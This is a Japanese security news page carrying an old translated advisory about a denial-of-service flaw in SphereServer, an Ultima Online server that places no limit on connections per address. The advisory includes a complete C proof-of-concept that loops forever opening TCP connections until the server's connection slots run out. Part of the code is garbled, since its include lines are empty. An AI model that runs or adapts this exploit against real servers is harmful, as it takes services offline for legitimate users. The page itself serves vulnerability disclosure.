SphereServer のサービス使用不能拒否 | ScanNetSecurity
2025.12.09(火)

SphereServer のサービス使用不能拒否

[翻訳:関谷 麻美]
2002年3月9日

国際 海外情報
[翻訳:関谷 麻美]
2002年3月9日

概要:
 SphereServer は、Ultima Online Role-play Server (Multiplayer) だ。一部の人々は、これを Free Role-play Worlds for a large community of
Players をホストする非公認サーバとして使用している。同ソフトウェアの開発者は、MenaSoft だ。この製品に IP 制限はないので(利用可能な接続スロットを使い尽くすことによって)誰でも数回接続することができ、それが同製品にサービス使用拒否をもたらす。

詳細:
脆弱なシステム
Sphere99x - Linux, FreeBSD, Win32

影響を受けないシステム
Sphere version 0.5x

 この問題は、接続されている間はサーバがあなたをクライアントと見なす点にある(たとえ、あなたが認証プロセスに従ったコマンドを送信しなくてもだ)。数度、これを実行すると、max_connections に達し、全ての新規着信接続を阻む。

攻略手段:
/*
*
* www.h07.org
* H Zero Seven
* Unix Security Research Team
*
* Sphere Ultima Online Server - Denial of Service Vulnerability
* poc-exploit...
*
* Simple code to eat all connections from the gameserver, so other
* peoples could not connect to the server.
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include

int Connect(int ip, int port)
{
int fd;
struct sockaddr_in tgt;

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) return -1;
memset(&tgt,0,sizeof(struct sockaddr_in));
tgt.sin_port = htons(port);
tgt.sin_family = AF_INET;
tgt.sin_addr.s_addr = ip;
if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1; return fd;
}

int sprint(int fd, const char *str,...)
{
va_list args;
char buf[4096];
memset(&buf,0,sizeof(buf));
va_start(args,str);
vsnprintf(buf,sizeof(buf),str,args);
return(write(fd,buf,strlen(buf)));
}

int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in box;

fprintf(stderr, "SphereServer DoS Exploit [poc]");
fprintf(stderr, "H Zero Seven - Unix Security Research Team - www.h07.org"); if (argc < 2) {
fprintf(stderr, "usage: %s [sphere port]",argv[0]); return;
}

fprintf(stderr,"for the full advisory regarding this vulnerability visit www.h07.org ... "); fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) {
perror("socket() ");
return;
}

fprintf(stderr,"Attacking sphere : ");
for (;;) {
int sock;

sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128); if (sock<0) {
sleep(10);
continue;
}
fprintf(stderr, ".*");
}
}

追加情報:
 H Zero Seven がこの情報を提供した。

[情報提供:SecuriTeam]
http://www.securiteam.com/

《ScanNetSecurity》

PageTop

アクセスランキング

  1. 期限警告 金銭未払 情報漏えい ~ 迷惑メール「HEUR:Hoax.Script.Scaremail」が受信者を脅しそして煽る 5 つのパターン

    期限警告 金銭未払 情報漏えい ~ 迷惑メール「HEUR:Hoax.Script.Scaremail」が受信者を脅しそして煽る 5 つのパターン

  2. バッファロー製 Wi-Fiルータ「WSR-1800AX4シリーズ」に強度が不十分なパスワードハッシュの使用の脆弱性

    バッファロー製 Wi-Fiルータ「WSR-1800AX4シリーズ」に強度が不十分なパスワードハッシュの使用の脆弱性

  3. 伊予銀行の再委託先で使用していたローレルバンクマシン提供のクラウドサービスに身代金要求を伴う不正アクセス

    伊予銀行の再委託先で使用していたローレルバンクマシン提供のクラウドサービスに身代金要求を伴う不正アクセス

  4. 脅迫文がサーバに保存 ~ 東海大学委託先 東海ソフト開発にランサムウェア攻撃

    脅迫文がサーバに保存 ~ 東海大学委託先 東海ソフト開発にランサムウェア攻撃

  5. 社員の個人保有 PC がウイルス感染、業務で使用する認証情報が流出

    社員の個人保有 PC がウイルス感染、業務で使用する認証情報が流出

ランキングをもっと見る
PageTop